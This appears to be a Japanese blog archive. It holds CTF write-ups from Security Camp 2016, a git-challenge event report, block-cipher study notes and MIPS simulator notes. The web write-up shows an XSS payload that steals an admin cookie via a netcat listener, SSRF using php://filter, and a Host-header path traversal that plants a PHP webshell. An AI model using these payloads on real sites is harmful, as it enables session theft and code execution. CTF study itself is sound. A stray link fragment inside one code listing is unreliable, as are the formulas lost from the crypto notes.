セキュキャンCTF equations, hidden のWriteup
昨日に引き続き、セキュリティキャンプ全国大会2016で開催されたCTFの話題です。 当日手を付けて、解けなかった問題2つ equations と hidden をピックアップしてWriteupを書きます。
equations
i386のバイナリのようなので逆コンパイラ(貧乏人用)に突っ込みます。
こんな結果を得られました。
# 自分が当日になぜこの作業をしなかったのか謎い…
// Address range: 0x804847d - 0x8048547 int main(int argc, char ** argv) { int32_t v1 = (int32_t)argv; // 0x80484ab_0 if (argc <= 3) { // 0x804848c printf("Usage %s <a> <b> <c>\n", (char *)*(int32_t *)argv); // branch -> 0x8048546 // 0x8048546 return -1; } int32_t str_as_i = atoi((char *)*(int32_t *)(v1 + 4)); // 0x80484b6 int32_t str_as_i2 = atoi((char *)*(int32_t *)(v1 + 8)); // 0x80484ca int32_t str_as_i3 = atoi((char *)*(int32_t *)(v1 + 12)); // 0x80484de if (check(str_as_i, str_as_i2, str_as_i3) == 0) { // 0x8048535 puts("Wrong key..."); // branch -> 0x8048546 } else { // 0x8048507 printf("Congratz! flag is FLAG{%d}\n", calc_flag(str_as_i, str_as_i2, str_as_i3)); // branch -> 0x8048546 } // 0x8048546 return 0; } // Address range: 0x8048548 - 0x80485c4 int32_t check(int32_t a1, int32_t a2, int32_t a3) { int32_t result = 0; // 0x80485c4_2 if (5 * a2 + 3 * a1 == -4 * a3) { // 0x8048575 if (2 * (2 * a2 + a1) == -5 * a3) { // 0x804859a result = -8 * a3 == a2 - a1; // branch -> 0x80485c3 } else { result = 0; } } // 0x80485c3 return result; }
コードを見ると3元1次方程式の存在を確認できます。
考えるのも無駄なので Mathematica(貧乏人用) に突っ込んで終わりです。
# 3つ目の式は無くても解が変わらないというね…
Solve[{3x + 5y + 4z = 0, 2x + 4y + 5z = 0, x - y - 8z = 0}, {x,y,z}]
で、解が不定になってしまいましたが、xを特定の値に縛ることをバイナリがしてないのでフラグが1つに定まりません。 ここで終わりにします。
@K_atc この問題の連立方程式から求まった解を,一つに定めるためのルーチンを書いていたのですが,本番バイナリにそれが含まれていないことに後ほど気が付きました
— 【しふくろ】友利奈緒㌠ (@shift_crops) 2016年8月28日
ごめんなさい🙇
想定解は9 -7 2を与えた時のものです
hidden
バイナリが64ビットで、貧乏人用デコンパイラが使えないので、objdumpとテキストエディタで頑張りました。 といっても長くないので検討をつけやすいです。
見るべき箇所は main
での genflag
の呼び出しと、 genflag
の中身です。
何をしているのかは下のpythonスクリプトを見て感じ取ってください。
0000000000400ee0 <main>: 400ee0: 55 push rbp 400ee1: 48 89 e5 mov rbp,rsp 400ee4: 48 81 ec 20 02 00 00 sub rsp,0x220 400eeb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 400ef2: 00 00 400ef4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400ef8: 31 c0 xor eax,eax 400efa: 48 c7 85 e0 fd ff ff mov QWORD PTR [rbp-0x220],0x401111 # "flag : %s" 400f01: 11 11 40 00 400f05: 48 c7 85 e8 fd ff ff mov QWORD PTR [rbp-0x218],0x40111c # "You cannot get flag! Hahaha\n" 400f0c: 1c 11 40 00 400f10: bf 39 11 40 00 mov edi,0x401139 # "== HiddenFlag ==\n" 400f15: e8 46 fa ff ff call 400960 <puts@plt> # puts("== HiddenFlag ==\n") 400f1a: 48 8d 85 f0 fd ff ff lea rax,[rbp-0x210] 400f21: be 00 02 00 00 mov esi,0x200 # 0x200 400f26: 48 89 c7 mov rdi,rax # [rbp-0x8] 400f29: b8 00 00 00 00 mov eax,0x0 # retval 400f2e: e8 34 00 00 00 call 400f67 <genflag> # genflag([rbp-0x8], 0x200) 400f33: 48 8b 85 e0 fd ff ff mov rax,QWORD PTR [rbp-0x220] # "flag : %s" 400f3a: 48 8d 95 f0 fd ff ff lea rdx,[rbp-0x210] # = flag 400f41: 48 89 d6 mov rsi,rdx # [rbp-0x210] 400f44: 48 89 c7 mov rdi,rax # arg0 400f47: b8 00 00 00 00 mov eax,0x0 # retval 400f4c: e8 df f9 ff ff call 400930 <printf@plt> # printf("flag : %s", [rbp-0x210]) # => printf("You cannot get flag! Hahaha\n") 400f51: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] 400f55: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28 # check stack canary 400f5c: 00 00 400f5e: 74 05 je 400f65 <main+0x85> #--------------------------------------------------------------------- 400f60: e8 6b fa ff ff call 4009d0 <__stack_chk_fail@plt> 400f65: c9 leave 400f66: c3 ret
from ctypes import CDLL libc = CDLL('libc.so.6') arr = [ 0x21, 0x8a, 0x28, 0x34, 0x2a, 0xca, 0x7b, 0x81, 0x59, 0xa1, 0x89, 0xf4, 0x91, 0xca, 0x93, 0x2e, 0x4f, 0xb0, 0xb, 0xf8, 0x0, 0x0, 0x0, 0x0 ] arr2 = [ 0x10, 0xf7, 0x5e, 0x1b, 0xe, 0xca, 0x7d, 0x9e, 0x1d, 0xa3, 0xdd, 0x98, 0xad, 0x96, 0xd0, 0x25, 0x14, 0xf6, 0x3a, 0xc9, 0x2e, 0x85, 0x9a, 0x8d ] libc.srand(0) for i in range(0x18): arr[i] ^= (0xff & libc.rand()) libc.srand(0) for i in range(0x18): arr2[i] ^= (0xff & libc.rand()) flag = ''.join(map(lambda x: chr(x), arr)) flag += ''.join(map(lambda x: chr(x), arr2)) print(flag) """ [katc@K_atc seccamp-2016]$ python hidden.py FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m} """ """ 0000000000400f67 <genflag>: 400f67: 55 push rbp 400f68: 48 89 e5 mov rbp,rsp 400f6b: 41 54 push r12 400f6d: 53 push rbx 400f6e: 48 83 ec 40 sub rsp,0x40 400f72: 48 89 7d b8 mov QWORD PTR [rbp-0x48],rdi # [rbp-0x48] := [rbp-0x8] 400f76: 89 75 b4 mov DWORD PTR [rbp-0x4c],esi # [rbp-0x4c] := 0x200 400f79: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 400f80: 00 00 400f82: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax 400f86: 31 c0 xor eax,eax 400f88: c6 45 d0 21 mov BYTE PTR [rbp-0x30],0x21 # arr[0] 400f8c: c6 45 d1 8a mov BYTE PTR [rbp-0x2f],0x8a # arr[1] 400f90: c6 45 d2 28 mov BYTE PTR [rbp-0x2e],0x28 # ... 400f94: c6 45 d3 34 mov BYTE PTR [rbp-0x2d],0x34 400f98: c6 45 d4 2a mov BYTE PTR [rbp-0x2c],0x2a 400f9c: c6 45 d5 ca mov BYTE PTR [rbp-0x2b],0xca 400fa0: c6 45 d6 7b mov BYTE PTR [rbp-0x2a],0x7b 400fa4: c6 45 d7 81 mov BYTE PTR [rbp-0x29],0x81 400fa8: c6 45 d8 59 mov BYTE PTR [rbp-0x28],0x59 400fac: c6 45 d9 a1 mov BYTE PTR [rbp-0x27],0xa1 400fb0: c6 45 da 89 mov BYTE PTR [rbp-0x26],0x89 400fb4: c6 45 db f4 mov BYTE PTR [rbp-0x25],0xf4 400fb8: c6 45 dc 91 mov BYTE PTR [rbp-0x24],0x91 400fbc: c6 45 dd ca mov BYTE PTR [rbp-0x23],0xca 400fc0: c6 45 de 93 mov BYTE PTR [rbp-0x22],0x93 400fc4: c6 45 df 2e mov BYTE PTR [rbp-0x21],0x2e 400fc8: c6 45 e0 4f mov BYTE PTR [rbp-0x20],0x4f 400fcc: c6 45 e1 b0 mov BYTE PTR [rbp-0x1f],0xb0 400fd0: c6 45 e2 0b mov BYTE PTR [rbp-0x1e],0xb 400fd4: c6 45 e3 f8 mov BYTE PTR [rbp-0x1d],0xf8 400fd8: c6 45 e4 00 mov BYTE PTR [rbp-0x1c],0x0 400fdc: c6 45 e5 00 mov BYTE PTR [rbp-0x1b],0x0 400fe0: c6 45 e6 00 mov BYTE PTR [rbp-0x1a],0x0 400fe4: c6 45 e7 00 mov BYTE PTR [rbp-0x19],0x0 # arr[0x17] 400fe8: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] 400feb: 83 f8 18 cmp eax,0x18 400fee: 76 07 jbe 400ff7 <genflag+0x90> #--------------------------------------------------------------------- 400ff0: c7 45 b4 18 00 00 00 mov DWORD PTR [rbp-0x4c],0x18 # [rbp-0x4c] := 0x18 #--------------------------------------------------------------------- 400ff7: bf 00 00 00 00 mov edi,0x0 # 0 400ffc: e8 ef f9 ff ff call 4009f0 <srand@plt> # srand(0) 401001: c7 45 cc 00 00 00 00 mov DWORD PTR [rbp-0x34],0x0 # [rbp-0x34] = 0 # i := [rbp-0x34] 401008: eb 27 jmp 401031 <genflag+0xca> #===================================================================== 40100a: 8b 45 cc mov eax,DWORD PTR [rbp-0x34] # arr[i] = [rbp-0x34] 40100d: 48 63 d0 movsxd rdx,eax 401010: 48 8b 45 b8 mov rax,QWORD PTR [rbp-0x48] 401014: 48 8d 1c 02 lea rbx,[rdx+rax*1] # rbx := [i + [rbp-0x48]] 401018: 8b 45 cc mov eax,DWORD PTR [rbp-0x34] 40101b: 48 98 cdqe 40101d: 44 0f b6 64 05 d0 movzx r12d,BYTE PTR [rbp-0x30+rax*1] # r12d := arr[i] 401023: e8 f8 f9 ff ff call 400a20 <rand@plt> # rand() 401028: 44 31 e0 xor eax,r12d # arr[i] ^= char(rand()) 40102b: 88 03 mov BYTE PTR [rbx],al 40102d: 83 45 cc 01 add DWORD PTR [rbp-0x34],0x1 # [rbp-0x34] += 1 (i++) #--------------------------------------------------------------------- 401031: 8b 45 cc mov eax,DWORD PTR [rbp-0x34] 401034: 3b 45 b4 cmp eax,DWORD PTR [rbp-0x4c] 401037: 7c d1 jl 40100a <genflag+0xa3> # [rbp-0x34] < 0x18 #--------------------------------------------------------------------- """ """ [katc@K_atc seccamp-2016]$ gdb -q hidden gdb-peda$ b printf gdb-peda$ r gdb-peda$ disas genflag Dump of assembler code for function genflag: 0x0000000000400f67 <+0>: push rbp 0x0000000000400f68 <+1>: mov rbp,rsp 0x0000000000400f6b <+4>: push r12 0x0000000000400f6d <+6>: push rbx 0x0000000000400f6e <+7>: sub rsp,0x40 0x0000000000400f72 <+11>: mov QWORD PTR [rbp-0x48],rdi # [rbp-0x48] := [rbp-0x8] 0x0000000000400f76 <+15>: mov DWORD PTR [rbp-0x4c],esi 0x0000000000400f79 <+18>: mov rax,QWORD PTR fs:0x28 0x0000000000400f82 <+27>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400f86 <+31>: xor eax,eax 0x0000000000400f88 <+33>: mov BYTE PTR [rbp-0x30],0x10 0x0000000000400f8c <+37>: mov BYTE PTR [rbp-0x2f],0xf7 0x0000000000400f90 <+41>: mov BYTE PTR [rbp-0x2e],0x5e 0x0000000000400f94 <+45>: mov BYTE PTR [rbp-0x2d],0x1b 0x0000000000400f98 <+49>: mov BYTE PTR [rbp-0x2c],0xe 0x0000000000400f9c <+53>: mov BYTE PTR [rbp-0x2b],0xca 0x0000000000400fa0 <+57>: mov BYTE PTR [rbp-0x2a],0x7d 0x0000000000400fa4 <+61>: mov BYTE PTR [rbp-0x29],0x9e 0x0000000000400fa8 <+65>: mov BYTE PTR [rbp-0x28],0x1d 0x0000000000400fac <+69>: mov BYTE PTR [rbp-0x27],0xa3 0x0000000000400fb0 <+73>: mov BYTE PTR [rbp-0x26],0xdd 0x0000000000400fb4 <+77>: mov BYTE PTR [rbp-0x25],0x98 0x0000000000400fb8 <+81>: mov BYTE PTR [rbp-0x24],0xad 0x0000000000400fbc <+85>: mov BYTE PTR [rbp-0x23],0x96 0x0000000000400fc0 <+89>: mov BYTE PTR [rbp-0x22],0xd0 0x0000000000400fc4 <+93>: mov BYTE PTR [rbp-0x21],0x25 0x0000000000400fc8 <+97>: mov BYTE PTR [rbp-0x20],0x14 0x0000000000400fcc <+101>: mov BYTE PTR [rbp-0x1f],0xf6 0x0000000000400fd0 <+105>: mov BYTE PTR [rbp-0x1e],0x3a 0x0000000000400fd4 <+109>: mov BYTE PTR [rbp-0x1d],0xc9 0x0000000000400fd8 <+113>: mov BYTE PTR [rbp-0x1c],0x2e 0x0000000000400fdc <+117>: mov BYTE PTR [rbp-0x1b],0x85 0x0000000000400fe0 <+121>: mov BYTE PTR [rbp-0x1a],0x9a 0x0000000000400fe4 <+125>: mov BYTE PTR [rbp-0x19],0x8d 0x0000000000400fe8 <+129>: mov eax,DWORD PTR [rbp-0x4c] 0x0000000000400feb <+132>: cmp eax,0x18 0x0000000000400fee <+135>: jbe 0x400ff7 <genflag+144> #--------------------------------------------------------------------- 0x0000000000400ff0 <+137>: mov DWORD PTR [rbp-0x4c],0x18 0x0000000000400ff7 <+144>: mov edi,0x0 # 0 0x0000000000400ffc <+149>: call 0x4009f0 <srand@plt> # srand(0) 0x0000000000401001 <+154>: mov DWORD PTR [rbp-0x34],0x0 # i = 0 0x0000000000401008 <+161>: jmp 0x401031 <genflag+202> #===================================================================== 0x000000000040100a <+163>: mov eax,DWORD PTR [rbp-0x34] 0x000000000040100d <+166>: movsxd rdx,eax 0x0000000000401010 <+169>: mov rax,QWORD PTR [rbp-0x48] # rax := ? 0x0000000000401014 <+173>: lea rbx,[rdx+rax*1] 0x0000000000401018 <+177>: mov eax,DWORD PTR [rbp-0x34] 0x000000000040101b <+180>: cdqe 0x000000000040101d <+182>: movzx r12d,BYTE PTR [rbp+rax*1-0x30] 0x0000000000401023 <+188>: call 0x400a20 <rand@plt> 0x0000000000401028 <+193>: xor eax,r12d 0x000000000040102b <+196>: mov BYTE PTR [rbx],al 0x000000000040102d <+198>: add DWORD PTR [rbp-0x34],0x1 # i++ #--------------------------------------------------------------------- 0x0000000000401031 <+202>: mov eax,DWORD PTR [rbp-0x34] 0x0000000000401034 <+205>: cmp eax,DWORD PTR [rbp-0x4c] 0x0000000000401037 <+208>: jl 0x40100a <genflag+163> #--------------------------------------------------------------------- """
ブレークポイントが打てないし、printfの出力がobjdumpと食い違っていたのですが、何らかの仕組みが働いてコードが書き換わるようです。 フラグが前後半に分かれて出現します。前半は実行前のコード、後半はprintf呼び出し時に見ることができます。 てなわけで、
flag: FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}
明日、また会社かよ…
(報告)Docker版の方はARMのrev問が動くようになりましたー
セキュキャンCTF Web問のWriteup
セキュリティキャンプ全国大会2016でチーム対抗のCTFが開催されましたね。
チューターチーム「友利奈緒とゆかいな仲間たち」の友利奈緒です。
当日はネットワークトラブルのせいで解く時間が全然なかったのですが、そのときに難易度が低いと噂のWebを1つも解けなかったので今日解き直しました。
以下Writeupです。
ipアドレスを192.168.39.39としてサーバーを動かしています。
FLAG_1
http://192.168.39.39/ につなぐとこんな画面が出てきます。 FLAG_1は非公開になっており、adminが見れるページのようですね。
仕方がないのでtest postを開きます。 コメントができますね。
この問題は50点ぐらいに見えるのでここにXSSがあって、adminのcookieを抜き取るのでしょう。 CTFではよくあるパターンですね。 いろいろ準備するのはだるいので、192.168.39.39にsshログインして、netcatで待ち構えてcookieを覗きましょう。
<script>location.href="http://192.168.39.39:8080/"</script>
pi@d55f1549b655:~ $ nc -l -p 8080 GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://192.168.39.39/comments/check.php?id=1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Cookie: PHPSESSID=a7vejaoqteu1o8l3gojgl10lo1 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,* Host: 192.168.39.39:8080
cookieを取れたのでブラウザでこの値を入れてからFLAG_1のページを見ます。やるだけですな。(なんであの場ではうまくいかなかったのか…)
flag: FLAG{c0NgRaTz_y0u'v3_H4cK3d_4dM1N_4Cc0UnT}
flag3.txt
ヒントには /var/www/flag3.txt
にフラグがあると言っているので、adminになりつつ投稿画面を見に行きます。
(Admin Panelの存在はindex.phpのコメントを見るか、robots.txtで示唆されているので見落とさないようにしましょう)
Import from URL でローカルファイルを読み込むんだろうなという検討は立ちます。
fileは弾かれるのでfiLeとかで大文字を入れればWAFみたいのを回避できます。
(というのを当日に聞いていたのでここでは別解を書きます。)
ソースを見ると(以下の方法と同様にして入手できるはずです)、file_get_contentsでリモートorローカルのリソースを読み込む仕組みになっています。
この関数は php://filter/
でおなじみのフィルタが利用できるのでそれで読み込むことも可能です。
つまり、URLとして php://filter/resource=/var/www/flag3.txt
を指定します。
できたページを見て終わりです。
flag: FLAG{3xpLo1TInG_S3rV3r-S1D3_r3Qu3St_f0RG3rY}
flag4.txt
いよいよ最後の問題です。
(自分にはここからが長かった…ctf4b運営のもりたこ先生にヒントを乞うて、利用する脆弱性のヒントをもらったぞい)
ファイル名が分からない状態ではフィルタが使えないっぽいので、ファイルに書き込んでくれる系を脆弱性として使うのでしょう。
もりたこヒントによると、post/import.php
にディレクトリトラバーサル脆弱性があり、リモートで任意コード実行(RCE)可能らしいです。
ということで、デバッグ出力している次の箇所に目を付けました。
function parseHeaders($headers) { $head = array(); foreach($headers as $k=>$v) { $t = explode( ':', $v, 2 ); if (isset($t[1])) $head[ trim($t[0]) ] = trim( $t[1] ); else { $head[] = $v; if (preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out )) $head['reponse_code'] = intval($out[1]); } } return $head; } // $data = file_get_contents($url); $headers = parseHeaders($http_response_header); if (isset($headers['Host'])) { $host = $headers['Host']; } else { $host = parse_url($url, PHP_URL_HOST); } $title = "Imported data from $host"; addPost($title, $data, (int)(empty($_POST['secret']))); $_SESSION['create_ok'] = true; // DEBUG $debug_log = "url: $url\n"; $debug_log .= "status: success\n"; $debug_log .= "content: $data\n"; file_put_contents(sprintf('/tmp/mars_debug_log_%d_%s', time(), $host), $debug_log);
sprintf
でファイル名を作っていますが、%s
でディレクトリトラバーサル自明ですね。
%s
は $host
で変えられるようです。後で確認します。
書き込み内容は $debug_log
で決まり、$data
に僕のコードを仕込めば実行してくれそうです。
さて $host
は何に由来するのかというと、少し上の $headers['Host']
で、 parseHeaders
でHTTPレスポンスヘッダにあったHostフィールド(公式仕様には無いやつですね…。気づくヒントだったのかな…?)の値が $host
に来るみたいです。
netcatで簡単なHTTPサーバーでも立てておきますかね。 ということで、netcatで応答すべき内容はこんな感じになります。 phpタグに囲まれていないところにゴミが入っていても問題ありません。phpの性質をよく利用した賢い問題っすね。
HTTP/1.1 200 OK Host: /../../var/www/html/evil.php Content-Length: 50 <?php print_r(scandir('/var/www/flag4')); ?> # nc -l -p 8080 < http_response
あとはnetcatで待ち受けて、リクエストが来てこちらが応答したら Ctrl+C
でCloseしちゃいます(笑)
# もっといい方法ないすかねー?
投稿画面ではURLに http://192.168.39.39:8080/
を指定しました。
pi@d55f1549b655:~ $ nc -l -p 8080 < http_response GET / HTTP/1.0 Host: 192.168.39.39:8080 Connection: close ^C
ファイル名が分かったので、先の問題と同様にして中身を暴露します。
flag: FLAG{W0w_u_pwn3d_Mars!}
難易度設定はキャンプのCTFにはいい感じですね。
手元にRasPiが無いのでCTF運営公式のイメージファイルから必要なファイルを取り出して、適当にDockerizeしました。
さっき運営の一人のもりたこちゃんに披露したので、そのうち公開されるかもしれません。
git challenge 参加したよーヾノ*>ㅅ<)ノシ(2016/8/21)
(禁則事項☆を犯さないようにぼかし気味で書きますよ)
※写真はmixiの方が撮影したものです
概要
2016年8月21日(日)に、mixiグループ主催の1dayイベント「git challenge」にtomoriで参加しました(アッ
会場にはエンジニアと人事(!)の方、参加者16名のみなさんがいらしゃいました。
# 会場(=mixiの本社)があるビルはコンサートホールのようなシックな内装です。
# 1つクソな点を挙げるとしたら、エレベータのボタンがどこにあるのかわかりにくいところです(写真なし)。
11時開始、19時終了のイベントです。競技時間は3時間くらいだったと思います。
午前の部
お昼の前にチュートリアルがありました。
の内容そのままでした。 あとは自動ジャッジシステムとしてCircleCIが採用されていて、それの利用登録もしました。 CircleCIは初めてでしたが、hookの設定やビルドターゲットの設定は簡単に行えました。 (設定ファイルの書き換えが面倒くさそうですね。) CircleCIのコンテナにsshすると、チェッカースクリプト含めて何でも見れてしまうらしく、ssh接続即失格のルールまでありました。
おひる!
8/21はハワイ州爆誕的な日なやつらしく、その関係でハワイ特集でした。
ガーリックなんちゃらのお弁当を取りましたが、油っこかったです…(美味しいんですけどね)。 大盛りも選べるようになってて、僕はそれを食べられたので満足です。
お昼ご飯は各チームが自分の席で座って食べました。 チューターさんも同席されてて、次のようなお話をしました。
- mixiのサービスで、glibc mallocでなく、googleのmallocの実装(TCMalloc)を採用して性能比較してみた件
- 僕(@K_atc)がrubyでなくpythonにこだわる理由(pythonのライブラリの品揃えの観点でお話したんだけど、伝わったのかな…)
- 技術的な困難さで古いperlで書かれたサービスを使い続ける場合と、既存アプリケーションを別の言語・上位バージョンで書き直す場合のコスト面での比較
- JSフレームワーク(mixiはReact+AngularJS 2厨?)とテストフレームワーク
僕はReactをちらっとしか見てないですが、チューターさんいわく、変にTypeScriptとかで書くのでなく、おとなしくJSXで書いたほうが何かと楽らしいっす。
# 専門外の話を振り気味でスミマセンでしたヾ(。>﹏<。)ノ゙
競技前の準備
各チームのgithub organization?に問題のprivate repoのinviteを受け取って、そのリポジトリをCircleCIに追加する作業をしました。 全リポジトリ(全18個=全18問)を手動で追加する簡単な作業です(白目)
競技!(約3時間)
問題は全18問でレベル1からレベル6までありました。 レベルの値(星の数)=点数です。 僕はレベル1を1つ、レベル2を3つ解いて終了しました😇
問題を解いていて困ったことがあればチューターさんにいろいろ尋ねることができます。 僕も結構助けていただけました〜><(ありがとうございます!) 知見などは次の節にまとめて書きます。
force pushなどでリモートリポジトリをぶっ壊してリセットしたい場合は、前のボタン(赤緑の2つあるがどちらを押してもいいとのこと)を押してhuman workerを起動し、チーム名とリセット対象リポジトリを引数にしてイベントを発火します。しばらくするとリセットされます。 問題なのはボタンを押すとピポーンとデカイ音が鳴ることです。
おやつ(リラックマ化)
ハワイ特集なのでマラサダというドーナッツとジュースが振る舞われました。
競技終了&解説会
CTFと違って、Writeup禁止(※お察しの通り問題は使い回し)なのでぼかして知見をまとめます。
- gitの便利なサブコマンドたちを活用しよう
- リモートがローカルよりも先に進んでいる&手元のブランチをmasterにマージする必要があるときは
pull
/merge
の順番に注意 .git
の中身にもそろそろ詳しくなろう- レベル2に3つ以上のサービス問題がある(知っていれば瞬殺可能←その問題はノーチェックだったのでつらい…)
- SourceTreeゴリ押しで一位になれる
一人の絶大な貢献で上位に入れる傾向がありました(1チーム2人でした)。 次参加される方は、自分の力でチームを勝利に導ける程度の筋肉をつけておきたいところですね。
結果発表
うちのBチームは中位でした。はい😇
1位〜3位までが表彰されました。 商品は Octocat 大or小 でした。 1位は例によってメダル授与です(イイナー)。 表彰された方については、当人がブログやツイッターで自慢しているかと思いますので敢えて書きません。
懇親会(タダ飯!)
油!油!(えらくクオリティ高かったです)
[写真なし]
余りを翌日の朝食として持ち帰ることができました(ありがたや〜)。
今日だけで2回、なんで(友利奈緒)着てないのと言われてしまいました><
次のときは着ますよ?いいんですね?
今回で3回目の開催だそうです。 それにしてもジャッジシステムも落ちずに稼働してましたし、安定した運営でした。すごい💪
某インフラエンジニアさんを参加者数名で囲って伺った話(とても興味深い内容でした):
- その方の仕事内容
- ラックサーバーの入れ替えはいい運動になる
- アプリケーション・データベースサーバーの配置と構成
- AWSは○
- 外注するときの話
- チート対策
総括
mixiの皆様、貴重な機会をありがとうございました。
商業的な匂いやリクルーティングの匂いを最小限に抑えられていて良かったと思います(=勉強会に近い雰囲気)。
ただ、名札に大学名・高専名を書く意味って全然ないよなー思いました(そういう思想の会社なのかなと思われても仕方ないですね)。
# 個人の技能とその大学が授業・講義としてやったことはほぼ無関係ですよね…
僕のgit力はまだまだだなぁと思いました。サブコマンドで便利そうなのが結構ありそうなので覚えていこうと思いました。
# そろそろCTF対策で.git
の中身を熟知したほうがいいかもしれない
CTFでもそうですが(最近は改善傾向)、僕がサービス問題を見落としがちなのは本当に良くないなぁという感想です😇
『暗号理論入門』(丸善出版)勉強メモ 4.8.1 ECBモード
大学の本屋で15%OFFのセールがあった日に『暗号理論入門』(丸善出版)を買いました。\高い/
- 作者: 林芳樹
- 出版社/メーカー: 丸善出版
- 発売日: 2012/04/20
- メディア: 単行本
- この商品を含むブログを見る
以下は 4.6節の「ブロック暗号」と、4.8節の「ブロック暗号のモード」のうち4.8.1節「ECBモード」の勉強メモです。 といってもすんなり理解できなかった所に自分の説明を追加しただけです。
準備
定義 4.6.1 ブロック暗号とは、平文空間と暗号文空間が である暗号方式であるとする。ここで、 はアルファベット 上の長さ の全ての語の集合である。ブロック長 は自然数である。
定理 4.6.2 ブロック暗号の暗号化関数は置換である。
証明省略
最も一般的なブロック暗号を以下のように説明することができる。ブロック長 と一つのアルファベット を固定するとする。平文空間と暗号文空間は とする。 鍵空間は、 上のすべての置換の集合 とする。一つの鍵 に暗号化関数
が対応する。これに対する復号化関数は
である。
この本では次の置換暗号を取り上げていました。
置換暗号を考えてみると、この暗号では記号の位置の変換により成立する置換のみを使う。 であれば、この置換はビット置換である。 鍵空間は置換群 である。 に対して、
とおけば、それに対する復号化関数は
であるので、鍵空間は 個の元をもち、個々の鍵は 個の数の数列としてコード化できる。
ECBモードの例題
ここからが僕がハマった箇所です。
例 4.8.1 長さ のビットベクトル上でビット置換を行うブロック暗号を考える。すなわち、アルファベット とブロック長 の置換暗号を考える。ここでは であり、 に対して
となる。 平文 を
とし、鍵を
$$ \pi = \begin{pmatrix} 1 & 2 & 3 & 4 \\ 2 & 3 & 4 & 1 \end{pmatrix} $$
とする。
ブロック長が4なので、この長さでmをブロックに分けます。
さて を10進変換するとそれぞれ なのですが、 で置換できなそうですね。 …と考えるのはダメで、問題文をよく読まないといけません。(僕は問題文をよく読まない人です。) 「置換暗号」と書いてありますね?しかも「ビット置換」をするとあります。 準備で説明したことを思い出すと、 の見方は、 各 番目の数をそれぞれ 番目に持っていくということです。 下位ビットから 番目という割り当てです。 例えば の3番め(0)と の1番目(1)はそれぞれ4番めと2番めに移動します。 よって、各ブロックの暗号化の結果は、
で、暗号文は
になります。
はてなブログの数式モードクソすぎだね。 そういえば4.10節の「アフィン暗号」を読んでいるときに network & crypto なCTFの問題を思いつきました。
kozosのcross-gcc4でmipsアセンブリをコンパイルし、gdbのsimで実行する
(mips書くのは久しぶりでいろいろミスっているかもしれない)
動作環境
kozosのVMイメージのcross-gcc4が入った方
アセンブリ編
#include <unistd.h> int main(){ write(1, "Hello World\n", 12); // stdout = 1 return 0; }
愚直にmipsのアセンブリに落とし込むとこんな感じだろうか。いろいろ足りないので順を追って埋めていこう。
.data hello: .asciiz "Hello World\n" .text # write(1, hello, 12); lw $ra, 4($sp) # restore return address
write()を書く
write()関数はmipsで書くとどんな感じなのだろうか。 とりあえず今回はgdbのsimで動かすのでソースを見てwrite()のアセンブリを調べる。
『熱血!アセンブラ入門』を読むとsim向けにmipsのアセンブリを書いてみたがあるのでそれを参考にすると、 sim/mips/interp.cあたりを読めばシミュレータ向けのwrite()を発行する方法が分かる。
1162 /* Simple monitor interface (currently setup for the IDT and PMON monitors) */ 1163 int 1164 sim_monitor (SIM_DESC sd, 1165 sim_cpu *cpu, 1166 address_word cia, 1167 unsigned int reason) 1168 { 1176 reason >>= 1; 1181 switch (reason) 1182 kan++>STM32F>リンカスクリプト](http://www.usamimi.info/~mikanplus/stm32f/linker_script.htm){ ... 1203 case 8: /* int write(int file,char *ptr,int len) */ 1204 { ... 1216 } ... 1254 case 17: /* void _exit() */ 1255 { 1256 sim_io_eprintf (sd, "sim_monitor(17): _exit(int reason) to be coded\n"); 1257 sim_engine_halt (SD, CPU, NULL, NULL_CIA, sim_exited, 1258 (unsigned int)(A0 & 0xFFFFFFFF)); 1259 break; 1260 }
swtich-case に入ったときに reason が 8 になったときにwrite()
ができる。
sim_monitor()
を呼び出す命令列の条件を調べよう。
1783 if ((instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTION) 1784 { 1785 int reason = (instruction >> RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK; 1786 if (!sim_monitor (SD, CPU, cia, reason)) 1787 sim_io_error (sd, "sim_monitor: unhandled reason = %d, pc = 0x%s\n", reason, pr_addr (cia)); 1788 1789 /* NOTE: This assumes that a branch-and-link style 1790 instruction was used to enter the vector (which is the 1791 case with the current IDT monitor). */ 1792 sim_engine_restart (SD, CPU, NULL, RA); 1793 }
(instruction & RSVD_INSTRUCTION_MASK) == RSVD_INSTRUCTION
がその条件のようだ。
マクロを展開するとこのようになる:instruction & 0xFC00003F == 0x39
75 #define RSVD_INSTRUCTION (0x00000039) 76 #define RSVD_INSTRUCTION_MASK (0xFC00003F)
なんだけど、これは嘘で、RSVD_INSTRUCTIONが5でないとVMの方で動作しないはず。 5が39になったのはこのコミットのせいらしい。
というわけで、正しくはinstruction & 0x3F == 0x5
。
ついでにinterp.cを調べると、 sim_monitorに入る前のreasonの値は、sim_monitorのswitch-case文のcaseの値をxとして
((x << 1) << RSVD_INSTRUCTION_ARG_SHIFT) & RSVD_INSTRUCTION_ARG_MASK
つまり
x << 7
に等しい。
78 #define RSVD_INSTRUCTION_ARG_SHIFT 6 79 #define RSVD_INSTRUCTION_ARG_MASK 0xFFFFF
というわけで、お望みの関数を呼びたいときはswitch-caseのcaseの値をxとして次の命令(instruction)を書けば良い:
.long (x << 7 | 0x5)
書くときは()内の式を計算してからにする。例えばwrite()の場合はx=8なので
.long (8 << 7) | 0x5
つまり .long 0x405
をアセンブリ命令として書くとwrite()をシミュレータで呼ぶことができる。
